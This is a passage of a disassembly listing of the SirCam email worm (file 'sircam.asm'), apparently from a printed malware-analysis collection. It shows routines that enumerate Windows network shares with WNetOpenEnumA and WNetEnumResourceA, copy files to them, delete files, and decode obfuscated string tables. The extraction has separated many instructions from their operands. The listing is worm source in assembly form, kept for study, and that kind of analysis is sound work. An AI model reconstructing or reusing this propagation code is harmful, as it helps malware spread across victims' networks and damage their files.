dd 0FFFFFFFFh, 5
dword_418350
dd 77823736h, 7Fh, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+115\030o
dword_418360
dd 74843736h, 7Ch, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+132\030o
dword_418370
dd 836F3736h, 71h, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+14F\030o
dword_418380
dd 6C813736h, 6Eh, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+16C\030o
aOjmsq
db ’Ojmsq’,0
; DATA XREF: sub_417F24+191\030o
align 4
dd 0FFFFFFFFh, 3
dword_4183A0
dd 6B7A66h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+1AF\030o
dword_4183AC
dd 79h, 0FFFFFFFFh, 1
; DATA XREF: sub_417F24+1DA\030o
dword_4183B8
dd 68h, 0FFFFFFFFh, 1
; DATA XREF: sub_417F24+1FE\030o
dword_4183C4
dd 69h, 0FFFFFFFFh, 1
; DATA XREF: sub_417F24+222\030o
dword_4183D0
dd 74h, 0FFFFFFFFh, 1
; DATA XREF: sub_417F24+246\030o
dword_4183DC
dd 31h, 0FFFFFFFFh, 2Ah ; DATA XREF: sub_417F24+26F\030o
aDaxdipbxnSugav db ’\204\235\225¤¨\217¡\225\215{\230\223£\235¢\237\227¢\213\207rp\213\207
rpc\214\210\217\221Pw\227\233\225Q|\220\235\226\212’,0
; DATA XREF: sub_417F24+28C\030o
align 4
dd 0FFFFFFFFh, 1
dword_41841C
dd 77h, 0FFFFFFFFh, 1
; DATA XREF: sub_417F24+307\030o
dword_418428
dd 32h, 0FFFFFFFFh, 1
; DATA XREF: sub_417F24+32C\030o
dword_418434
dd 64h
; DATA XREF: sub_417F24+340\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418438
proc near
var_1D4
var_8
var_4
= byte ptr -1D4h
= dword ptr -8
= dword ptr -4
push
mov
add
ebp
ebp, esp
esp, 0FFFFFE2Ch
; CODE XREF: sub_4184C4+19C\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
lea
call
lea
call
mov
lea
call
call
lea
call
xor
pop
pop
pop
mov
push
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_4184B7
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, [ebp+var_1D4]
sub_404E16
eax, [ebp+var_1D4]
sub_405005
edx, [ebp+var_8]
eax, [ebp+var_1D4]
sub_403A60
sub_40520F
eax, [ebp+var_1D4]
sub_404F80
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4184BE
loc_4184A9:
sub_418438
646
; CODE XREF: CODE:004184BC\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -1DCh
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4184B7:
; DATA XREF: sub_418438+22\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4184A9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4184BE:
; DATA XREF: sub_418438+6C\030o
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4184C4
proc near
var_CD0
var_CCC
var_CC8
var_CC4
var_CC0
var_CBC
var_CB8
var_CB4
var_CB0
var_CAC
var_CA8
var_CA4
=
=
=
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_4184C4+81\031p
; sub_418880+1C3\031p
-0CD0h
-0CCCh
-0CC8h
-0CC4h
-0CC0h
-0CBCh
-0CB8h
-0CB4h
-0CB0h
-0CACh
-0CA8h
-0CA4h
sircam.asm
var_CA0
var_C9C
var_C98
var_C94
var_C90
var_C84
var_10
var_C
var_8
var_4
arg_0
Fri Aug 10 12:42:44 2001
=
=
=
=
=
=
=
=
=
=
=
647
byte ptr -0CA0h
byte ptr -0C9Ch
dword ptr -0C98h
dword ptr -0C94h
byte ptr -0C90h
byte ptr -0C84h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
push
mov
mov
ebp
ebp, esp
ecx, 19Ah
push
push
dec
jnz
push
push
mov
xor
push
push
push
mov
mov
lea
push
push
push
push
push
call
test
jnz
mov
lea
push
lea
push
lea
push
mov
push
call
mov
test
jle
lea
; CODE XREF: sub_4184C4+D\031j
0
0
ecx
short loc_4184CC
ebx
esi
ebx, eax
eax, eax
ebp
offset loc_4187C9
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_C], 0C80h
eax, [ebp+var_4]
eax
ebx
0
0
2
j_WNetOpenEnumA
eax, eax
loc_418793
[ebp+var_8], 64h
eax, [ebp+var_C]
eax
eax, [ebp+var_C90]
eax
eax, [ebp+var_8]
eax
eax, [ebp+var_4]
eax
j_WNetEnumResourceA
esi, [ebp+var_8]
esi, esi
loc_418793
ebx, [ebp+var_C84]
loc_4184CC:
loc_418534:
; CODE XREF: sub_4184C4+2C9\031j
mov
eax, [ebx]
and
eax, 2
cmp
eax, 2
jnz
short loc_418550
mov
eax, [ebp+arg_0]
push
eax
lea
eax, [ebx-0Ch]
call
sub_4184C4
pop
ecx
jmp
loc_418789
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418550:
; CODE XREF: sub_4184C4+78\030j
mov
and
eax, [ebx-8]
eax, 1
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jnz
lea
mov
call
lea
xor
mov
call
mov
mov
call
lea
mov
mov
mov
mov
lea
lea
call
mov
lea
mov
call
lea
lea
call
lea
mov
call
mov
push
lea
mov
mov
call
mov
mov
pop
call
test
jz
lea
xor
mov
call
mov
lea
mov
call
mov
push
lea
mov
mov
call
mov
pop
call
lea
xor
mov
call
mov
mov
call
push
push
lea
xor
eax, 1
loc_418789
eax, [ebp+var_10]
edx, [ebx+8]
sub_403680
ecx, [ebp+var_C94]
edx, edx
eax, offset dword_4187E0
sub_415FAC
edx, [ebp+var_C94]
eax, offset dword_41EEF4
sub_40351C
eax, [ebp+var_C9C]
edx, ds:dword_41EEE8
dl, [edx]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_C9C]
eax, [ebp+var_CA0]
sub_402848
edx, offset dword_4187F8
eax, [ebp+var_CA0]
cl, 2
sub_402818
edx, [ebp+var_CA0]
eax, [ebp+var_C98]
sub_4036EC
eax, [ebp+var_C98]
edx, ds:dword_41EEF4
sub_40372C
eax, [ebp+var_C98]
eax
eax, [ebp+var_CA4]
ecx, ds:dword_41EEF4
edx, [ebp+var_10]
sub_403770
edx, [ebp+var_CA4]
cl, 1
eax
sub_416178
al, al
loc_418789
ecx, [ebp+var_CAC]
edx, edx
eax, offset dword_418804
sub_415FAC
ecx, [ebp+var_CAC]
eax, [ebp+var_CA8]
edx, [ebp+var_10]
sub_403770
eax, [ebp+var_CA8]
eax
eax, [ebp+var_CB0]
ecx, ds:dword_41EEF4
edx, offset dword_41881C
sub_403770
edx, [ebp+var_CB0]
eax
sub_418438
ecx, [ebp+var_CB4]
edx, edx
eax, offset dword_41882C
sub_415FAC
edx, [ebp+var_CB4]
eax, offset dword_41EEF4
sub_40351C
[ebp+var_10]
ds:dword_41EEF4
ecx, [ebp+var_CBC]
edx, edx
648
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
push
lea
mov
call
mov
push
push
push
lea
xor
mov
call
push
lea
mov
call
mov
mov
pop
call
push
push
lea
xor
mov
call
push
mov
mov
call
mov
call
push
call
lea
mov
mov
call
lea
push
lea
xor
mov
call
mov
pop
call
mov
xor
mov
call
649
eax, offset dword_418844
sub_415FAC
[ebp+var_CBC]
eax, [ebp+var_CB8]
edx, 3
sub_4037E4
eax, [ebp+var_CB8]
eax
[ebp+var_10]
ds:dword_41EEF4
ecx, [ebp+var_CC4]
edx, edx
eax, offset dword_418854
sub_415FAC
[ebp+var_CC4]
eax, [ebp+var_CC0]
edx, 3
sub_4037E4
eax, [ebp+var_CC0]
cl, 1
edx
sub_416178
[ebp+var_10]
ds:dword_41EEF4
ecx, [ebp+var_CC8]
edx, edx
eax, offset dword_418854
sub_415FAC
[ebp+var_CC8]
eax, offset dword_41EEF4
edx, 3
sub_4037E4
eax, ds:dword_41EEF4
sub_4038E8
eax
j_DeleteFileA
eax, [ebp+var_CCC]
edx, ds:dword_41EEE8
dl, [edx]
sub_403670
eax, [ebp+var_CCC]
eax
ecx, [ebp+var_CD0]
edx, edx
eax, offset dword_418868
sub_415FAC
edx, [ebp+var_CD0]
eax
sub_40372C
eax, [ebp+var_CCC]
ecx, ecx
edx, ds:dword_41EEF4
sub_416178
loc_418789:
; CODE XREF: sub_4184C4+87\030j
; sub_4184C4+95\030j ...
add
dec
jnz
loc_418793:
ebx, 20h
esi
loc_418534
; CODE XREF: sub_4184C4+3A\030j
; sub_4184C4+64\030j
xor
pop
pop
pop
mov
push
lea
mov
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4187D0
eax, [ebp+var_CD0]
edx, 0Ch
sircam.asm
Fri Aug 10 12:42:44 2001
sub_4184C4
call
sub_4034EC
lea
eax, [ebp+var_C98]
mov
edx, 2
call
sub_4034EC
lea
eax, [ebp+var_10]
call
sub_4034C8
retn
endp ; sp = -60h
650
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4187C9:
; DATA XREF: sub_4184C4+16\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 0EBh ; ë
db 0D0h ; Ð
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4187D0:
; DATA XREF: sub_4184C4+2D7\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 14h
dword_4187E0
dd 7D7E8A77h, 7F857B94h, 836C747Fh, 4C4C5B8Dh, 7F917D49h
; DATA XREF: sub_4184C4+AE\030o
dd 0
dword_4187F8
dd 3A01h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_4184C4+ED\030o
dword_418804
dd 87877270h, 788A7683h, 74743F77h, 88h, 0FFFFFFFFh, 5
; DATA XREF: sub_4184C4+15A\030o
dword_41881C
dd 6E697740h, 20h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_4184C4+18B\030o
dword_41882C
dd 807A876Fh, 85887F77h, 8086826Fh, 0, 0FFFFFFFFh, 6
; DATA XREF: sub_4184C4+1A9\030o
dword_418844
dd 71393C40h, 6F85h, 0FFFFFFFFh, 9 ; DATA XREF: sub_4184C4+1D4\030o
dword_418854
dd 427A7974h, 87733B42h, 75h, 0FFFFFFFFh, 15h ; DATA XREF: sub_4184C4+20C
\030o
; sub_4184C4+24B\030o
dword_418868
dd 808C7556h, 877D927Fh, 6E767D81h, 4E5D8B85h, 937F474Eh
; DATA XREF: sub_4184C4+29C\030o
dd 81h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418880
proc near
var_5C
var_58
var_54
var_50
var_4C
var_48
var_44
var_40
var_3C
var_38
var_34
var_30
var_2C
var_28
var_24
var_20
var_1C
var_18
var_14
var_10
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
dword ptr -5Ch
dword ptr -58h
dword ptr -54h
dword ptr -50h
dword ptr -4Ch
dword ptr -48h
dword ptr -44h
byte ptr -40h
dword ptr -3Ch
dword ptr -38h
dword ptr -34h
dword ptr -30h
dword ptr -2Ch
dword ptr -28h
byte ptr -24h
dword ptr -20h
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
; CODE XREF: start+724\031p
sircam.asm
var_C
var_8
var_4
Fri Aug 10 12:42:44 2001
= byte ptr -0Ch
= dword ptr -8
= dword ptr -4
push
mov
mov
loc_418888:
651
ebp
ebp, esp
ecx, 0Bh
; CODE XREF: sub_418880+D\031j
push
0
push
0
dec
ecx
jnz
short loc_418888
push
ecx
push
ebx
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
call
sub_4038D8
mov
ebx, offset dword_41EEF4
xor
eax, eax
push
ebp
push
offset loc_418B06
push
dword ptr fs:[eax]
mov
fs:[eax], esp
push
1
push
1
lea
eax, [ebp+var_C]
push
eax
mov
ecx, offset dword_418B1C
mov
edx, offset dword_418B28
mov
eax, ds:dword_41EEFC
call
sub_415EAC
lea
ecx, [ebp+var_10]
xor
edx, edx
mov
eax, offset dword_418B34
call
sub_415FAC
mov
edx, [ebp+var_10]
mov
eax, ebx
call
sub_40351C
lea
eax, [ebp+var_14]
mov
ecx, [ebx]
mov
edx, ds:dword_41EEE8
call
sub_403770
mov
edx, [ebp+var_14]
mov
cl, 1
mov
eax, [ebp+var_4]
call
sub_416178
lea
ecx, [ebp+var_8]
xor
edx, edx
mov
eax, offset aPiapMasjguoink ; "\217¨ ¯³\232¬ \230\206£\236®¨-ª¢\226\222¥§\236ª³¬\226˜±«¬ ª-\220 ®¬£"...
call
sub_415FAC
push
0
push
1
lea
eax, [ebp+var_18]
push
eax
lea
ecx, [ebp+var_1C]
xor
edx, edx
mov
eax, offset dword_418B88
call
sub_415FAC
mov
eax, [ebp+var_1C]
push
eax
lea
eax, [ebp+var_20]
mov
ecx, [ebx]
mov
edx, ds:dword_41EEE8
call
sub_403770
mov
ecx, [ebp+var_20]
mov
eax, [ebp+var_8]
pop
edx
call
sub_415EAC
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jnz
push
push
lea
push
lea
xor
mov
call
mov
push
lea
mov
mov
call
mov
mov
pop
call
loc_418984:
652
[ebp+var_18], 0
short loc_418984
1
1
eax, [ebp+var_24]
eax
ecx, [ebp+var_28]
edx, edx
eax, offset dword_418B88
sub_415FAC
eax, [ebp+var_28]
eax
eax, [ebp+var_2C]
ecx, [ebx]
edx, ds:dword_41EEE8
sub_403770
ecx, [ebp+var_2C]
eax, [ebp+var_8]
edx
sub_415EAC
; CODE XREF: sub_418880+CB\030j
lea
ecx, [ebp+var_30]
xor
edx, edx
mov
eax, offset dword_418B9C
call
sub_415FAC
mov
edx, [ebp+var_30]
mov
eax, ebx
call
sub_40351C
lea
eax, [ebp+var_34]
mov
ecx, [ebx]
mov
edx, ds:dword_41EEF0
call
sub_403770
mov
edx, [ebp+var_34]
mov
cl, 1
mov
eax, [ebp+var_4]
call
sub_416178
lea
ecx, [ebp+var_8]
xor
edx, edx
mov
eax, offset aJcdjkkdFjdmnzo ; "\206\226\204\206\212\212\204|\224
\206\204\214\215z\216\220\206\214{\203\220\213\214\201\217\202"
call
sub_415FAC
push
0
push
2
lea
eax, [ebp+var_38]
push
eax
push
offset dword_418BD4
push
ds:dword_41EEF0
push
dword ptr [ebx]
push
offset dword_418BE0
lea
eax, [ebp+var_3C]
mov
edx, 4
call
sub_4037E4
mov
ecx, [ebp+var_3C]
xor
edx, edx
mov
eax, [ebp+var_8]
call
sub_415EAC
mov
eax, [ebp+var_38]
mov
edx, offset dword_418BF4
call
sub_403834
jnz
short loc_418A40
push
1
push
2
lea
eax, [ebp+var_40]
push
eax
push
offset dword_418BD4
push
ds:dword_41EEF0
push
dword ptr [ebx]
push
offset dword_418BE0
lea
eax, [ebp+var_44]
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
xor
mov
call
653
edx, 4
sub_4037E4
ecx, [ebp+var_44]
edx, edx
eax, [ebp+var_8]
sub_415EAC
loc_418A40:
; CODE XREF: sub_418880+18A\030j
push
ebp
xor
eax, eax
call
sub_4184C4
pop
ecx
mov
eax, 21h
call
sub_4028F4
cmp
eax, 8
jnz
loc_418AEB
lea
ecx, [ebp+var_48]
xor
edx, edx
mov
eax, offset dword_418C04
call
sub_415FAC
mov
edx, [ebp+var_48]
mov
eax, ebx
call
sub_40351C
lea
eax, [ebp+var_4C]
mov
ecx, [ebx]
mov
edx, ds:dword_41EEF8
call
sub_403770
mov
edx, [ebp+var_4C]
mov
cl, 1
mov
eax, [ebp+var_4]
call
sub_416178
push
0
push
0
lea
eax, [ebp+var_50]
push
eax
lea
ecx, [ebp+var_54]
xor
edx, edx
mov
eax, offset dword_418C18
call
sub_415FAC
mov
edx, [ebp+var_54]
xor
ecx, ecx
mov
eax, ds:dword_41EEEC
call
sub_415EAC
mov
edx, [ebp+var_50]
mov
eax, ebx
call
sub_40351C
lea
ecx, [ebp+var_5C]
xor
edx, edx
mov
eax, offset aBomzcsculccmuc ; "\201o\214\207\227\221\226\223\213
\226Cm\223\226\210\226\223\207\227Dt\210\211\215\210\207Q\211\235\207"
call
sub_415FAC
mov
ecx, [ebp+var_5C]
lea
eax, [ebp+var_58]
mov
edx, [ebx]
call
sub_403770
mov
edx, [ebp+var_58]
xor
ecx, ecx
mov
eax, [ebp+var_4]
call
sub_416178
loc_418AEB:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_418880+1D6\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_418B0D
lea
; CODE XREF: CODE:00418B0B\031j
eax, [ebp+var_5C]
loc_418AF8:
sircam.asm
sub_418880
Fri Aug 10 12:42:44 2001
654
mov
edx, 17h
call
sub_4034EC
retn
endp ; sp = -80h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418B06:
; DATA XREF: sub_418880+24\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_418AF8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418B0D:
; DATA XREF: sub_418880+273\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_418B1C
dd 32h, 0FFFFFFFFh, 3
; DATA XREF: sub_418880+37\030o
dword_418B28
dd 374446h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+3C\030o
dword_418B34
dd 7253626Eh, 3F42427Fh, 758777h, 0FFFFFFFFh, 35h
; DATA XREF: sub_418880+50\030o
aPiapMasjguoink db ’\217¨ ¯³\232¬ \230\206£\236®¨-ª¢-\226\222¥§\236ª³¬\226˜±«¬ ª-\220 ®¬£
ªª\225\214°ª\214\237-²¢\235 ¯’,0
; DATA XREF: sub_418880+86\030o
align 4
dd 0FFFFFFFFh, 8
dword_418B88
dd 84767E53h, 40407E74h, 0, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+9D
\030o
; sub_418880+DA\030o
dword_418B9C
dd 8379626Eh, 3F424255h, 758777h, 0FFFFFFFFh, 1Ah
; DATA XREF: sub_418880+109\030o
aJcdjkkdFjdmnzo db ’\206\226\204\206\212\212\204|\224\206\204\214\215z\216\220\206\214{
\203\220\213\214\201\217\202’,0 ; DATA XREF: sub_418880+13F\030o
align 4
dd 0FFFFFFFFh, 1
dword_418BD4
dd 22h, 0FFFFFFFFh, 9
; DATA XREF: sub_418880+151\030o
; sub_418880+194\030o
dword_418BE0
dd 25222022h, 25202231h, 2Ah, 0FFFFFFFFh, 7 ; DATA XREF: sub_418880+15E
\030o
; sub_418880+1A1\030o
dword_418BF4
dd 22312522h, 2A2520h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+180\030o
dword_418C04
dd 5E73626Eh, 3F42428Ah, 758777h, 0FFFFFFFFh, 7 ; DATA XREF: sub_418880+1
E1\030o
dword_418C18
dd 7F6D7F61h, 7C8082h, 0FFFFFFFFh, 1Eh ; DATA XREF: sub_418880+21F\030o
aBomzcsculccmuc db ’\201o\214\207\227\221\226\223\213\226Cm\223\226\210\226\223\207\227Dt
\210\211\215\210\207Q\211\235\207’,0 ; DATA XREF: sub_418880+247\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418C48
proc near
var_2964
var_164
var_18
var_14
var_C
var_8
var_4
arg_0
arg_4
=
=
=
=
=
=
=
=
=
byte ptr -2964h
byte ptr -164h
dword ptr -18h
dword ptr -14h
byte ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
dword ptr 0Ch
push
mov
ebp
ebp, esp
; CODE XREF: start+A8E\031p
sircam.asm
Fri Aug 10 12:42:44 2001
655
push
mov
eax
eax, 2
add
push
dec
jnz
mov
add
push
push
mov
mov
mov
call
mov
call
lea
xor
push
push
push
mov
mov
mov
mov
call
mov
mov
lea
; CODE XREF: sub_418C48+11\031j
esp, 0FFFFF004h
eax
eax
short loc_418C51
eax, [ebp+var_4]
esp, 0FFFFF6A0h
ebx
esi
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
ebx, [ebp+var_C]
eax, eax
ebp
offset loc_418DB9
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_18], 1
[ebp+var_14], 0
eax, [ebp+var_8]
sub_403724
esi, eax
dword ptr [ebx], 1
ecx, [ebp+var_2964]
loc_418C51:
loc_418CB1:
; CODE XREF: sub_418C48+A5\031j
mov
eax, esi
cdq
cmp
edx, [ebp+var_14]
jnz
short loc_418CC0
cmp
eax, [ebp+var_18]
jnb
short loc_418CD0
jmp
short loc_418CC2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418CC0:
; CODE XREF: sub_418C48+6F\030j
jge
short loc_418CD0
mov
mov
[ebp+var_18], 1
[ebp+var_14], 0
mov
mov
mov
mov
add
adc
inc
inc
cmp
jnz
mov
mov
push
push
mov
mov
sub
sbb
call
; CODE XREF: sub_418C48+74\030j
; sub_418C48+78\030j
eax, [ebp+var_18]
edx, [ebp+var_8]
al, [edx+eax-1]
[ecx], al
[ebp+var_18], 1
[ebp+var_14], 0
dword ptr [ebx]
ecx
dword ptr [ebx], 2801h
short loc_418CB1
[ebp+var_18], 0
[ebp+var_14], 0
0
2800h
eax, [ebp+arg_0]
edx, [ebp+arg_4]
eax, 280h
edx, 0
sub_4055D6
loc_418CC2:
; CODE XREF: sub_418C48+76\030j
loc_418CD0:
sircam.asm
Fri Aug 10 12:42:44 2001
656
mov
[ebp+arg_0], eax
mov
[ebp+arg_4], edx
dec
dword ptr [ebx]
mov
edx, [ebp+var_4]
lea
eax, [ebp+var_164]
call
sub_404E16
mov
eax, ds:off_41DC30
mov
byte ptr [eax], 0
mov
edx, 1
lea
eax, [ebp+var_164]
call
sub_405124
call
sub_40265C
jmp
short loc_418D6D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418D4C:
; CODE XREF: sub_418C48+133\031j
; sub_418C48+137\031j
push
lea
mov
lea
call
call
add
adc
ebx
edx, [ebp+var_2964]
ecx, [ebx]
eax, [ebp+var_164]
sub_404F1C
sub_40265C
[ebp+var_18], 1
[ebp+var_14], 0
loc_418D6D:
; CODE XREF: sub_418C48+102\030j
mov
eax, [ebp+arg_0]
mov
edx, [ebp+arg_4]
cmp
edx, [ebp+var_14]
jnz
short loc_418D7F
cmp
eax, [ebp+var_18]
ja
short loc_418D4C
jmp
short loc_418D81
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418D7F:
; CODE XREF: sub_418C48+12E\030j
jg
short loc_418D4C
lea
call
call
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_418C48+135\030j
eax, [ebp+var_164]
sub_404F80
sub_40265C
edx, 2
eax, [ebp+var_4]
sub_4071B8
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_418DC0
loc_418D81:
loc_418DAB:
sub_418C48
; CODE XREF: CODE:00418DBE\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -1974h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418DB9:
; DATA XREF: sub_418C48+3A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_418DAB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418DC0:
; DATA XREF: sub_418C48+15E\030o
